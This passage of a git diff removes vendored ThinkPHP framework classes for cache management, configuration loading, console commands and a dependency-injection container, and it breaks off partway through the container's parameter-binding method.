a/vendor/topthink/framework/src/think/Cache.php b/vendor/topthink/framework/src/think/Cache.php deleted file mode 100644 index 4bc99c2..0000000 --- a/vendor/topthink/framework/src/think/Cache.php +++ /dev/null @@ -1,197 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Psr\SimpleCache\CacheInterface; -use think\cache\Driver; -use think\cache\TagSet; -use think\exception\InvalidArgumentException; -use think\helper\Arr; - -/** - * 缓存管理类 - * @mixin Driver - * @mixin \think\cache\driver\File - */ -class Cache extends Manager implements CacheInterface -{ - - protected $namespace = '\\think\\cache\\driver\\'; - - /** - * 默认驱动 - * @return string|null - */ - public function getDefaultDriver() - { - return $this->getConfig('default'); - } - - /** - * 获取缓存配置 - * @access public - * @param null|string $name 名称 - * @param mixed $default 默认值 - * @return mixed - */ - public function getConfig(string $name = null, $default = null) - { - if (!is_null($name)) { - return $this->app->config->get('cache.' . $name, $default); - } - - return $this->app->config->get('cache'); - } - - /** - * 获取驱动配置 - * @param string $store - * @param string $name - * @param null $default - * @return array - */ - public function getStoreConfig(string $store, string $name = null, $default = null) - { - if ($config = $this->getConfig("stores.{$store}")) { - return Arr::get($config, $name, $default); - } - - throw new \InvalidArgumentException("Store [$store] not found."); - } - - protected function resolveType(string $name) - { - return $this->getStoreConfig($name, 'type', 'file'); - } - - protected function resolveConfig(string $name) - { - return $this->getStoreConfig($name); - } - - /** - * 连接或者切换缓存 - * @access public - * @param string $name 连接配置名 - * @return Driver - */ - public function store(string $name = null) - { - return $this->driver($name); - } - - /** - * 清空缓冲池 - * @access public - * @return bool - */ - public function clear(): bool - { - return $this->store()->clear(); - } - - /** - * 读取缓存 - * @access public - * @param string $key 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($key, $default = null) - { - return $this->store()->get($key, $default); - } - - /** - * 写入缓存 - * @access public - * @param string $key 缓存变量名 - * @param mixed $value 存储数据 - * @param int|\DateTime $ttl 有效时间 0为永久 - * @return bool - */ - public function set($key, $value, $ttl = null): bool - { - return $this->store()->set($key, $value, $ttl); - } - - /** - * 删除缓存 - * @access public - * @param string $key 缓存变量名 - * @return bool - */ - public function delete($key): bool - { - return $this->store()->delete($key); - } - - /** - * 读取缓存 - * @access public - * @param iterable $keys 缓存变量名 - * @param mixed $default 默认值 - * @return iterable - * @throws InvalidArgumentException - */ - public function getMultiple($keys, $default = null): iterable - { - return $this->store()->getMultiple($keys, $default); - } - - /** - * 写入缓存 - * @access public - * @param iterable $values 缓存数据 - * @param null|int|\DateInterval $ttl 有效时间 0为永久 - * @return bool - */ - public function setMultiple($values, $ttl = null): bool - { - return $this->store()->setMultiple($values, $ttl); - } - - /** - * 删除缓存 - * @access public - * @param iterable $keys 缓存变量名 - * @return bool - * @throws InvalidArgumentException - */ - public function deleteMultiple($keys): bool - { - return $this->store()->deleteMultiple($keys); - } - - /** - * 判断缓存是否存在 - * @access public - * @param string $key 缓存变量名 - * @return bool - */ - public function has($key): bool - { - return $this->store()->has($key); - } - - /** - * 缓存标签 - * @access public - * @param string|array $name 标签名 - * @return TagSet - */ - public function tag($name): TagSet - { - return $this->store()->tag($name); - } -} diff --git a/vendor/topthink/framework/src/think/Config.php b/vendor/topthink/framework/src/think/Config.php deleted file mode 100644 index 3a15755..0000000 --- a/vendor/topthink/framework/src/think/Config.php +++ /dev/null @@ -1,197 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -/** - * 配置管理类 - * @package think - */ -class Config -{ - /** - * 配置参数 - * @var array - */ - protected $config = []; - - /** - * 配置文件目录 - * @var string - */ - protected $path; - - /** - * 配置文件后缀 - * @var string - */ - protected $ext; - - /** - * 构造方法 - * @access public - */ - public function __construct(string $path = null, string $ext = '.php') - { - $this->path = $path ?: ''; - $this->ext = $ext; - } - - public static function __make(App $app) - { - $path = $app->getConfigPath(); - $ext = $app->getConfigExt(); - - return new static($path, $ext); - } - - /** - * 加载配置文件(多种格式) - * @access public - * @param string $file 配置文件名 - * @param string $name 一级配置名 - * @return array - */ - public function load(string $file, string $name = ''): array - { - if (is_file($file)) { - $filename = $file; - } elseif (is_file($this->path . $file . $this->ext)) { - $filename = $this->path . $file . $this->ext; - } - - if (isset($filename)) { - return $this->parse($filename, $name); - } - - return $this->config; - } - - /** - * 解析配置文件 - * @access public - * @param string $file 配置文件名 - * @param string $name 一级配置名 - * @return array - */ - protected function parse(string $file, string $name): array - { - $type = pathinfo($file, PATHINFO_EXTENSION); - $config = []; - switch ($type) { - case 'php': - $config = include $file; - break; - case 'yml': - case 'yaml': - if (function_exists('yaml_parse_file')) { - $config = yaml_parse_file($file); - } - break; - case 'ini': - $config = parse_ini_file($file, true, INI_SCANNER_TYPED) ?: []; - break; - case 'json': - $config = json_decode(file_get_contents($file), true); - break; - } - - return is_array($config) ? $this->set($config, strtolower($name)) : []; - } - - /** - * 检测配置是否存在 - * @access public - * @param string $name 配置参数名(支持多级配置 .号分割) - * @return bool - */ - public function has(string $name): bool - { - if (false === strpos($name, '.') && !isset($this->config[strtolower($name)])) { - return false; - } - - return !is_null($this->get($name)); - } - - /** - * 获取一级配置 - * @access protected - * @param string $name 一级配置名 - * @return array - */ - protected function pull(string $name): array - { - $name = strtolower($name); - - return $this->config[$name] ?? []; - } - - /** - * 获取配置参数 为空则获取所有配置 - * @access public - * @param string $name 配置参数名(支持多级配置 .号分割) - * @param mixed $default 默认值 - * @return mixed - */ - public function get(string $name = null, $default = null) - { - // 无参数时获取所有 - if (empty($name)) { - return $this->config; - } - - if (false === strpos($name, '.')) { - return $this->pull($name); - } - - $name = explode('.', $name); - $name[0] = strtolower($name[0]); - $config = $this->config; - - // 按.拆分成多维数组进行判断 - foreach ($name as $val) { - if (isset($config[$val])) { - $config = $config[$val]; - } else { - return $default; - } - } - - return $config; - } - - /** - * 设置配置参数 name为数组则为批量设置 - * @access public - * @param array $config 配置参数 - * @param string $name 配置名 - * @return array - */ - public function set(array $config, string $name = null): array - { - if (!empty($name)) { - if (isset($this->config[$name])) { - $result = array_merge($this->config[$name], $config); - } else { - $result = $config; - } - - $this->config[$name] = $result; - } else { - $result = $this->config = array_merge($this->config, array_change_key_case($config)); - } - - return $result; - } - -} diff --git a/vendor/topthink/framework/src/think/Console.php b/vendor/topthink/framework/src/think/Console.php deleted file mode 100644 index 389d104..0000000 --- a/vendor/topthink/framework/src/think/Console.php +++ /dev/null @@ -1,787 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Closure; -use InvalidArgumentException; -use LogicException; -use think\console\Command; -use think\console\command\Clear; -use think\console\command\Help; -use think\console\command\Help as HelpCommand; -use think\console\command\Lists; -use think\console\command\make\Command as MakeCommand; -use think\console\command\make\Controller; -use think\console\command\make\Event; -use think\console\command\make\Listener; -use think\console\command\make\Middleware; -use think\console\command\make\Model; -use think\console\command\make\Service; -use think\console\command\make\Subscribe; -use think\console\command\make\Validate; -use think\console\command\optimize\Route; -use think\console\command\optimize\Schema; -use think\console\command\RouteList; -use think\console\command\RunServer; -use think\console\command\ServiceDiscover; -use think\console\command\VendorPublish; -use think\console\command\Version; -use think\console\Input; -use think\console\input\Argument as InputArgument; -use think\console\input\Definition as InputDefinition; -use think\console\input\Option as InputOption; -use think\console\Output; -use think\console\output\driver\Buffer; - -/** - * 控制台应用管理类 - */ -class Console -{ - - protected $app; - - /** @var Command[] */ - protected $commands = []; - - protected $wantHelps = false; - - protected $catchExceptions = true; - protected $autoExit = true; - protected $definition; - protected $defaultCommand = 'list'; - - protected $defaultCommands = [ - 'help' => Help::class, - 'list' => Lists::class, - 'clear' => Clear::class, - 'make:command' => MakeCommand::class, - 'make:controller' => Controller::class, - 'make:model' => Model::class, - 'make:middleware' => Middleware::class, - 'make:validate' => Validate::class, - 'make:event' => Event::class, - 'make:listener' => Listener::class, - 'make:service' => Service::class, - 'make:subscribe' => Subscribe::class, - 'optimize:route' => Route::class, - 'optimize:schema' => Schema::class, - 'run' => RunServer::class, - 'version' => Version::class, - 'route:list' => RouteList::class, - 'service:discover' => ServiceDiscover::class, - 'vendor:publish' => VendorPublish::class, - ]; - - /** - * 启动器 - * @var array - */ - protected static $startCallbacks = []; - - public function __construct(App $app) - { - $this->app = $app; - - $this->initialize(); - - $this->definition = $this->getDefaultInputDefinition(); - - //加载指令 - $this->loadCommands(); - - $this->start(); - } - - /** - * 初始化 - */ - protected function initialize() - { - if (!$this->app->initialized()) { - $this->app->initialize(); - } - $this->makeRequest(); - } - - /** - * 构造request - */ - protected function makeRequest() - { - $uri = $this->app->config->get('app.url', 'http://localhost'); - - $components = parse_url($uri); - - $server = $_SERVER; - - if (isset($components['path'])) { - $server = array_merge($server, [ - 'SCRIPT_FILENAME' => $components['path'], - 'SCRIPT_NAME' => $components['path'], - ]); - } - - if (isset($components['host'])) { - $server['SERVER_NAME'] = $components['host']; - $server['HTTP_HOST'] = $components['host']; - } - - if (isset($components['scheme'])) { - if ('https' === $components['scheme']) { - $server['HTTPS'] = 'on'; - $server['SERVER_PORT'] = 443; - } else { - unset($server['HTTPS']); - $server['SERVER_PORT'] = 80; - } - } - - if (isset($components['port'])) { - $server['SERVER_PORT'] = $components['port']; - $server['HTTP_HOST'] .= ':' . $components['port']; - } - - $server['REQUEST_URI'] = $uri; - - /** @var Request $request */ - $request = $this->app->make('request'); - - $request->withServer($server); - } - - /** - * 添加初始化器 - * @param Closure $callback - */ - public static function starting(Closure $callback): void - { - static::$startCallbacks[] = $callback; - } - - /** - * 清空启动器 - */ - public static function flushStartCallbacks(): void - { - static::$startCallbacks = []; - } - - /** - * 设置执行用户 - * @param $user - */ - public static function setUser(string $user): void - { - if (extension_loaded('posix')) { - $user = posix_getpwnam($user); - - if (!empty($user)) { - posix_setgid($user['gid']); - posix_setuid($user['uid']); - } - } - } - - /** - * 启动 - */ - protected function start(): void - { - foreach (static::$startCallbacks as $callback) { - $callback($this); - } - } - - /** - * 加载指令 - * @access protected - */ - protected function loadCommands(): void - { - $commands = $this->app->config->get('console.commands', []); - $commands = array_merge($this->defaultCommands, $commands); - - $this->addCommands($commands); - } - - /** - * @access public - * @param string $command - * @param array $parameters - * @param string $driver - * @return Output|Buffer - */ - public function call(string $command, array $parameters = [], string $driver = 'buffer') - { - array_unshift($parameters, $command); - - $input = new Input($parameters); - $output = new Output($driver); - - $this->setCatchExceptions(false); - $this->find($command)->run($input, $output); - - return $output; - } - - /** - * 执行当前的指令 - * @access public - * @return int - * @throws \Exception - * @api - */ - public function run() - { - $input = new Input(); - $output = new Output(); - - $this->configureIO($input, $output); - - try { - $exitCode = $this->doRun($input, $output); - } catch (\Exception $e) { - if (!$this->catchExceptions) { - throw $e; - } - - $output->renderException($e); - - $exitCode = $e->getCode(); - if (is_numeric($exitCode)) { - $exitCode = (int) $exitCode; - if (0 === $exitCode) { - $exitCode = 1; - } - } else { - $exitCode = 1; - } - } - - if ($this->autoExit) { - if ($exitCode > 255) { - $exitCode = 255; - } - - exit($exitCode); - } - - return $exitCode; - } - - /** - * 执行指令 - * @access public - * @param Input $input - * @param Output $output - * @return int - */ - public function doRun(Input $input, Output $output) - { - if (true === $input->hasParameterOption(['--version', '-V'])) { - $output->writeln($this->getLongVersion()); - - return 0; - } - - $name = $this->getCommandName($input); - - if (true === $input->hasParameterOption(['--help', '-h'])) { - if (!$name) { - $name = 'help'; - $input = new Input(['help']); - } else { - $this->wantHelps = true; - } - } - - if (!$name) { - $name = $this->defaultCommand; - $input = new Input([$this->defaultCommand]); - } - - $command = $this->find($name); - - return $this->doRunCommand($command, $input, $output); - } - - /** - * 设置输入参数定义 - * @access public - * @param InputDefinition $definition - */ - public function setDefinition(InputDefinition $definition): void - { - $this->definition = $definition; - } - - /** - * 获取输入参数定义 - * @access public - * @return InputDefinition The InputDefinition instance - */ - public function getDefinition(): InputDefinition - { - return $this->definition; - } - - /** - * Gets the help message. - * @access public - * @return string A help message. - */ - public function getHelp(): string - { - return $this->getLongVersion(); - } - - /** - * 是否捕获异常 - * @access public - * @param bool $boolean - * @api - */ - public function setCatchExceptions(bool $boolean): void - { - $this->catchExceptions = $boolean; - } - - /** - * 是否自动退出 - * @access public - * @param bool $boolean - * @api - */ - public function setAutoExit(bool $boolean): void - { - $this->autoExit = $boolean; - } - - /** - * 获取完整的版本号 - * @access public - * @return string - */ - public function getLongVersion(): string - { - if ($this->app->version()) { - return sprintf('version %s', $this->app->version()); - } - - return 'Console Tool'; - } - - /** - * 添加指令集 - * @access public - * @param array $commands - */ - public function addCommands(array $commands): void - { - foreach ($commands as $key => $command) { - if (is_subclass_of($command, Command::class)) { - // 注册指令 - $this->addCommand($command, is_numeric($key) ? '' : $key); - } - } - } - - /** - * 添加一个指令 - * @access public - * @param string|Command $command 指令对象或者指令类名 - * @param string $name 指令名 留空则自动获取 - * @return Command|void - */ - public function addCommand($command, string $name = '') - { - if ($name) { - $this->commands[$name] = $command; - return; - } - - if (is_string($command)) { - $command = $this->app->invokeClass($command); - } - - $command->setConsole($this); - - if (!$command->isEnabled()) { - $command->setConsole(null); - return; - } - - $command->setApp($this->app); - - if (null === $command->getDefinition()) { - throw new LogicException(sprintf('Command class "%s" is not correctly initialized. You probably forgot to call the parent constructor.', get_class($command))); - } - - $this->commands[$command->getName()] = $command; - - foreach ($command->getAliases() as $alias) { - $this->commands[$alias] = $command; - } - - return $command; - } - - /** - * 获取指令 - * @access public - * @param string $name 指令名称 - * @return Command - * @throws InvalidArgumentException - */ - public function getCommand(string $name): Command - { - if (!isset($this->commands[$name])) { - throw new InvalidArgumentException(sprintf('The command "%s" does not exist.', $name)); - } - - $command = $this->commands[$name]; - - if (is_string($command)) { - $command = $this->app->invokeClass($command); - /** @var Command $command */ - $command->setConsole($this); - $command->setApp($this->app); - } - - if ($this->wantHelps) { - $this->wantHelps = false; - - /** @var HelpCommand $helpCommand */ - $helpCommand = $this->getCommand('help'); - $helpCommand->setCommand($command); - - return $helpCommand; - } - - return $command; - } - - /** - * 某个指令是否存在 - * @access public - * @param string $name 指令名称 - * @return bool - */ - public function hasCommand(string $name): bool - { - return isset($this->commands[$name]); - } - - /** - * 获取所有的命名空间 - * @access public - * @return array - */ - public function getNamespaces(): array - { - $namespaces = []; - foreach ($this->commands as $key => $command) { - if (is_string($command)) { - $namespaces = array_merge($namespaces, $this->extractAllNamespaces($key)); - } else { - $namespaces = array_merge($namespaces, $this->extractAllNamespaces($command->getName())); - - foreach ($command->getAliases() as $alias) { - $namespaces = array_merge($namespaces, $this->extractAllNamespaces($alias)); - } - } - } - - return array_values(array_unique(array_filter($namespaces))); - } - - /** - * 查找注册命名空间中的名称或缩写。 - * @access public - * @param string $namespace - * @return string - * @throws InvalidArgumentException - */ - public function findNamespace(string $namespace): string - { - $allNamespaces = $this->getNamespaces(); - $expr = preg_replace_callback('{([^:]+|)}', function ($matches) { - return preg_quote($matches[1]) . '[^:]*'; - }, $namespace); - $namespaces = preg_grep('{^' . $expr . '}', $allNamespaces); - - if (empty($namespaces)) { - $message = sprintf('There are no commands defined in the "%s" namespace.', $namespace); - - if ($alternatives = $this->findAlternatives($namespace, $allNamespaces)) { - if (1 == count($alternatives)) { - $message .= "\n\nDid you mean this?\n "; - } else { - $message .= "\n\nDid you mean one of these?\n "; - } - - $message .= implode("\n ", $alternatives); - } - - throw new InvalidArgumentException($message); - } - - $exact = in_array($namespace, $namespaces, true); - if (count($namespaces) > 1 && !$exact) { - throw new InvalidArgumentException(sprintf('The namespace "%s" is ambiguous (%s).', $namespace, $this->getAbbreviationSuggestions(array_values($namespaces)))); - } - - return $exact ? $namespace : reset($namespaces); - } - - /** - * 查找指令 - * @access public - * @param string $name 名称或者别名 - * @return Command - * @throws InvalidArgumentException - */ - public function find(string $name): Command - { - $allCommands = array_keys($this->commands); - - $expr = preg_replace_callback('{([^:]+|)}', function ($matches) { - return preg_quote($matches[1]) . '[^:]*'; - }, $name); - - $commands = preg_grep('{^' . $expr . '}', $allCommands); - - if (empty($commands) || count(preg_grep('{^' . $expr . '$}', $commands)) < 1) { - if (false !== $pos = strrpos($name, ':')) { - $this->findNamespace(substr($name, 0, $pos)); - } - - $message = sprintf('Command "%s" is not defined.', $name); - - if ($alternatives = $this->findAlternatives($name, $allCommands)) { - if (1 == count($alternatives)) { - $message .= "\n\nDid you mean this?\n "; - } else { - $message .= "\n\nDid you mean one of these?\n "; - } - $message .= implode("\n ", $alternatives); - } - - throw new InvalidArgumentException($message); - } - - $exact = in_array($name, $commands, true); - if (count($commands) > 1 && !$exact) { - $suggestions = $this->getAbbreviationSuggestions(array_values($commands)); - - throw new InvalidArgumentException(sprintf('Command "%s" is ambiguous (%s).', $name, $suggestions)); - } - - return $this->getCommand($exact ? $name : reset($commands)); - } - - /** - * 获取所有的指令 - * @access public - * @param string $namespace 命名空间 - * @return Command[] - * @api - */ - public function all(string $namespace = null): array - { - if (null === $namespace) { - return $this->commands; - } - - $commands = []; - foreach ($this->commands as $name => $command) { - if ($this->extractNamespace($name, substr_count($namespace, ':') + 1) === $namespace) { - $commands[$name] = $command; - } - } - - return $commands; - } - - /** - * 配置基于用户的参数和选项的输入和输出实例。 - * @access protected - * @param Input $input 输入实例 - * @param Output $output 输出实例 - */ - protected function configureIO(Input $input, Output $output): void - { - if (true === $input->hasParameterOption(['--ansi'])) { - $output->setDecorated(true); - } elseif (true === $input->hasParameterOption(['--no-ansi'])) { - $output->setDecorated(false); - } - - if (true === $input->hasParameterOption(['--no-interaction', '-n'])) { - $input->setInteractive(false); - } - - if (true === $input->hasParameterOption(['--quiet', '-q'])) { - $output->setVerbosity(Output::VERBOSITY_QUIET); - } elseif ($input->hasParameterOption('-vvv') || $input->hasParameterOption('--verbose=3') || $input->getParameterOption('--verbose') === 3) { - $output->setVerbosity(Output::VERBOSITY_DEBUG); - } elseif ($input->hasParameterOption('-vv') || $input->hasParameterOption('--verbose=2') || $input->getParameterOption('--verbose') === 2) { - $output->setVerbosity(Output::VERBOSITY_VERY_VERBOSE); - } elseif ($input->hasParameterOption('-v') || $input->hasParameterOption('--verbose=1') || $input->hasParameterOption('--verbose') || $input->getParameterOption('--verbose')) { - $output->setVerbosity(Output::VERBOSITY_VERBOSE); - } - } - - /** - * 执行指令 - * @access protected - * @param Command $command 指令实例 - * @param Input $input 输入实例 - * @param Output $output 输出实例 - * @return int - * @throws \Exception - */ - protected function doRunCommand(Command $command, Input $input, Output $output) - { - return $command->run($input, $output); - } - - /** - * 获取指令的基础名称 - * @access protected - * @param Input $input - * @return string - */ - protected function getCommandName(Input $input): string - { - return $input->getFirstArgument() ?: ''; - } - - /** - * 获取默认输入定义 - * @access protected - * @return InputDefinition - */ - protected function getDefaultInputDefinition(): InputDefinition - { - return new InputDefinition([ - new InputArgument('command', InputArgument::REQUIRED, 'The command to execute'), - new InputOption('--help', '-h', InputOption::VALUE_NONE, 'Display this help message'), - new InputOption('--version', '-V', InputOption::VALUE_NONE, 'Display this console version'), - new InputOption('--quiet', '-q', InputOption::VALUE_NONE, 'Do not output any message'), - new InputOption('--verbose', '-v|vv|vvv', InputOption::VALUE_NONE, 'Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug'), - new InputOption('--ansi', '', InputOption::VALUE_NONE, 'Force ANSI output'), - new InputOption('--no-ansi', '', InputOption::VALUE_NONE, 'Disable ANSI output'), - new InputOption('--no-interaction', '-n', InputOption::VALUE_NONE, 'Do not ask any interactive question'), - ]); - } - - /** - * 获取可能的建议 - * @access private - * @param array $abbrevs - * @return string - */ - private function getAbbreviationSuggestions(array $abbrevs): string - { - return sprintf('%s, %s%s', $abbrevs[0], $abbrevs[1], count($abbrevs) > 2 ? sprintf(' and %d more', count($abbrevs) - 2) : ''); - } - - /** - * 返回命名空间部分 - * @access public - * @param string $name 指令 - * @param int $limit 部分的命名空间的最大数量 - * @return string - */ - public function extractNamespace(string $name, int $limit = 0): string - { - $parts = explode(':', $name); - array_pop($parts); - - return implode(':', 0 === $limit ? $parts : array_slice($parts, 0, $limit)); - } - - /** - * 查找可替代的建议 - * @access private - * @param string $name - * @param array|\Traversable $collection - * @return array - */ - private function findAlternatives(string $name, $collection): array - { - $threshold = 1e3; - $alternatives = []; - - $collectionParts = []; - foreach ($collection as $item) { - $collectionParts[$item] = explode(':', $item); - } - - foreach (explode(':', $name) as $i => $subname) { - foreach ($collectionParts as $collectionName => $parts) { - $exists = isset($alternatives[$collectionName]); - if (!isset($parts[$i]) && $exists) { - $alternatives[$collectionName] += $threshold; - continue; - } elseif (!isset($parts[$i])) { - continue; - } - - $lev = levenshtein($subname, $parts[$i]); - if ($lev <= strlen($subname) / 3 || '' !== $subname && false !== strpos($parts[$i], $subname)) { - $alternatives[$collectionName] = $exists ? $alternatives[$collectionName] + $lev : $lev; - } elseif ($exists) { - $alternatives[$collectionName] += $threshold; - } - } - } - - foreach ($collection as $item) { - $lev = levenshtein($name, $item); - if ($lev <= strlen($name) / 3 || false !== strpos($item, $name)) { - $alternatives[$item] = isset($alternatives[$item]) ? $alternatives[$item] - $lev : $lev; - } - } - - $alternatives = array_filter($alternatives, function ($lev) use ($threshold) { - return $lev < 2 * $threshold; - }); - asort($alternatives); - - return array_keys($alternatives); - } - - /** - * 返回所有的命名空间 - * @access private - * @param string $name - * @return array - */ - private function extractAllNamespaces(string $name): array - { - $parts = explode(':', $name, -1); - $namespaces = []; - - foreach ($parts as $part) { - if (count($namespaces)) { - $namespaces[] = end($namespaces) . ':' . $part; - } else { - $namespaces[] = $part; - } - } - - return $namespaces; - } - -} diff --git a/vendor/topthink/framework/src/think/Container.php b/vendor/topthink/framework/src/think/Container.php deleted file mode 100644 index 7910bb3..0000000 --- a/vendor/topthink/framework/src/think/Container.php +++ /dev/null @@ -1,552 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ArrayAccess; -use ArrayIterator; -use Closure; -use Countable; -use InvalidArgumentException; -use IteratorAggregate; -use Psr\Container\ContainerInterface; -use ReflectionClass; -use ReflectionException; -use ReflectionFunction; -use ReflectionFunctionAbstract; -use ReflectionMethod; -use think\exception\ClassNotFoundException; -use think\exception\FuncNotFoundException; -use think\helper\Str; - -/** - * 容器管理类 支持PSR-11 - */ -class Container implements ContainerInterface, ArrayAccess, IteratorAggregate, Countable -{ - /** - * 容器对象实例 - * @var Container|Closure - */ - protected static $instance; - - /** - * 容器中的对象实例 - * @var array - */ - protected $instances = []; - - /** - * 容器绑定标识 - * @var array - */ - protected $bind = []; - - /** - * 容器回调 - * @var array - */ - protected $invokeCallback = []; - - /** - * 获取当前容器的实例(单例) - * @access public - * @return static - */ - public static function getInstance() - { - if (is_null(static::$instance)) { - static::$instance = new static; - } - - if (static::$instance instanceof Closure) { - return (static::$instance)(); - } - - return static::$instance; - } - - /** - * 设置当前容器的实例 - * @access public - * @param object|Closure $instance - * @return void - */ - public static function setInstance($instance): void - { - static::$instance = $instance; - } - - /** - * 注册一个容器对象回调 - * - * @param string|Closure $abstract - * @param Closure|null $callback - * @return void - */ - public function resolving($abstract, Closure $callback = null): void - { - if ($abstract instanceof Closure) { - $this->invokeCallback['*'][] = $abstract; - return; - } - - $abstract = $this->getAlias($abstract); - - $this->invokeCallback[$abstract][] = $callback; - } - - /** - * 获取容器中的对象实例 不存在则创建 - * @access public - * @param string $abstract 类名或者标识 - * @param array|true $vars 变量 - * @param bool $newInstance 是否每次创建新的实例 - * @return object - */ - public static function pull(string $abstract, array $vars = [], bool $newInstance = false) - { - return static::getInstance()->make($abstract, $vars, $newInstance); - } - - /** - * 获取容器中的对象实例 - * @access public - * @param string $abstract 类名或者标识 - * @return object - */ - public function get($abstract) - { - if ($this->has($abstract)) { - return $this->make($abstract); - } - - throw new ClassNotFoundException('class not exists: ' . $abstract, $abstract); - } - - /** - * 绑定一个类、闭包、实例、接口实现到容器 - * @access public - * @param string|array $abstract 类标识、接口 - * @param mixed $concrete 要绑定的类、闭包或者实例 - * @return $this - */ - public function bind($abstract, $concrete = null) - { - if (is_array($abstract)) { - foreach ($abstract as $key => $val) { - $this->bind($key, $val); - } - } elseif ($concrete instanceof Closure) { - $this->bind[$abstract] = $concrete; - } elseif (is_object($concrete)) { - $this->instance($abstract, $concrete); - } else { - $abstract = $this->getAlias($abstract); - if ($abstract != $concrete) { - $this->bind[$abstract] = $concrete; - } - } - - return $this; - } - - /** - * 根据别名获取真实类名 - * @param string $abstract - * @return string - */ - public function getAlias(string $abstract): string - { - if (isset($this->bind[$abstract])) { - $bind = $this->bind[$abstract]; - - if (is_string($bind)) { - return $this->getAlias($bind); - } - } - - return $abstract; - } - - /** - * 绑定一个类实例到容器 - * @access public - * @param string $abstract 类名或者标识 - * @param object $instance 类的实例 - * @return $this - */ - public function instance(string $abstract, $instance) - { - $abstract = $this->getAlias($abstract); - - $this->instances[$abstract] = $instance; - - return $this; - } - - /** - * 判断容器中是否存在类及标识 - * @access public - * @param string $abstract 类名或者标识 - * @return bool - */ - public function bound(string $abstract): bool - { - return isset($this->bind[$abstract]) || isset($this->instances[$abstract]); - } - - /** - * 判断容器中是否存在类及标识 - * @access public - * @param string $name 类名或者标识 - * @return bool - */ - public function has($name): bool - { - return $this->bound($name); - } - - /** - * 判断容器中是否存在对象实例 - * @access public - * @param string $abstract 类名或者标识 - * @return bool - */ - public function exists(string $abstract): bool - { - $abstract = $this->getAlias($abstract); - - return isset($this->instances[$abstract]); - } - - /** - * 创建类的实例 已经存在则直接获取 - * @access public - * @param string $abstract 类名或者标识 - * @param array $vars 变量 - * @param bool $newInstance 是否每次创建新的实例 - * @return mixed - */ - public function make(string $abstract, array $vars = [], bool $newInstance = false) - { - $abstract = $this->getAlias($abstract); - - if (isset($this->instances[$abstract]) && !$newInstance) { - return $this->instances[$abstract]; - } - - if (isset($this->bind[$abstract]) && $this->bind[$abstract] instanceof Closure) { - $object = $this->invokeFunction($this->bind[$abstract], $vars); - } else { - $object = $this->invokeClass($abstract, $vars); - } - - if (!$newInstance) { - $this->instances[$abstract] = $object; - } - - return $object; - } - - /** - * 删除容器中的对象实例 - * @access public - * @param string $name 类名或者标识 - * @return void - */ - public function delete($name) - { - $name = $this->getAlias($name); - - if (isset($this->instances[$name])) { - unset($this->instances[$name]); - } - } - - /** - * 执行函数或者闭包方法 支持参数调用 - * @access public - * @param string|Closure $function 函数或者闭包 - * @param array $vars 参数 - * @return mixed - */ - public function invokeFunction($function, array $vars = []) - { - try { - $reflect = new ReflectionFunction($function); - } catch (ReflectionException $e) { - throw new FuncNotFoundException("function not exists: {$function}()", $function, $e); - } - - $args = $this->bindParams($reflect, $vars); - - return $function(...$args); - } - - /** - * 调用反射执行类的方法 支持参数绑定 - * @access public - * @param mixed $method 方法 - * @param array $vars 参数 - * @param bool $accessible 设置是否可访问 - * @return mixed - */ - public function invokeMethod($method, array $vars = [], bool $accessible = false) - { - if (is_array($method)) { - [$class, $method] = $method; - - $class = is_object($class) ? $class : $this->invokeClass($class); - } else { - // 静态方法 - [$class, $method] = explode('::', $method); - } - - try { - $reflect = new ReflectionMethod($class, $method); - } catch (ReflectionException $e) { - $class = is_object($class) ? get_class($class) : $class; - throw new FuncNotFoundException('method not exists: ' . $class . '::' . $method . '()', "{$class}::{$method}", $e); - } - - $args = $this->bindParams($reflect, $vars); - - if ($accessible) { - $reflect->setAccessible($accessible); - } - - return $reflect->invokeArgs(is_object($class) ? $class : null, $args); - } - - /** - * 调用反射执行类的方法 支持参数绑定 - * @access public - * @param object $instance 对象实例 - * @param mixed $reflect 反射类 - * @param array $vars 参数 - * @return mixed - */ - public function invokeReflectMethod($instance, $reflect, array $vars = []) - { - $args = $this->bindParams($reflect, $vars); - - return $reflect->invokeArgs($instance, $args); - } - - /** - * 调用反射执行callable 支持参数绑定 - * @access public - * @param mixed $callable - * @param array $vars 参数 - * @param bool $accessible 设置是否可访问 - * @return mixed - */ - public function invoke($callable, array $vars = [], bool $accessible = false) - { - if ($callable instanceof Closure) { - return $this->invokeFunction($callable, $vars); - } elseif (is_string($callable) && false === strpos($callable, '::')) { - return $this->invokeFunction($callable, $vars); - } else { - return $this->invokeMethod($callable, $vars, $accessible); - } - } - - /** - * 调用反射执行类的实例化 支持依赖注入 - * @access public - * @param string $class 类名 - * @param array $vars 参数 - * @return mixed - */ - public function invokeClass(string $class, array $vars = []) - { - try { - $reflect = new ReflectionClass($class); - } catch (ReflectionException $e) { - throw new ClassNotFoundException('class not exists: ' . $class, $class, $e); - } - - if ($reflect->hasMethod('__make')) { - $method = $reflect->getMethod('__make'); - if ($method->isPublic() && $method->isStatic()) { - $args = $this->bindParams($method, $vars); - return $method->invokeArgs(null, $args); - } - } - - $constructor = $reflect->getConstructor(); - - $args = $constructor ? $this->bindParams($constructor, $vars) : []; - - $object = $reflect->newInstanceArgs($args); - - $this->invokeAfter($class, $object); - - return $object; - } - - /** - * 执行invokeClass回调 - * @access protected - * @param string $class 对象类名 - * @param object $object 容器对象实例 - * @return void - */ - protected function invokeAfter(string $class, $object): void - { - if (isset($this->invokeCallback['*'])) { - foreach ($this->invokeCallback['*'] as $callback) { - $callback($object, $this); - } - } - - if (isset($this->invokeCallback[$class])) { - foreach ($this->invokeCallback[$class] as $callback) { - $callback($object, $this); - } - } - } - - /** - * 绑定参数 - * @access protected - * @param ReflectionFunctionAbstract $reflect 反射类 - * @param array $vars 参数 - * @return array - */ - protected function bindParams(ReflectionFunctionAbstract $reflect, array $vars = []): array - { - if ($reflect->getNumberOfParameters() == 0) { - return []; - } - - // 判断数组类型 数字数组时按顺序绑定参数 - reset($vars); - $type = key($vars) === 0 ? 1 : 0; - $params = $reflect->getParameters(); - $args = []; - - foreach ($params as $param) { - $name = $param->getName(); - 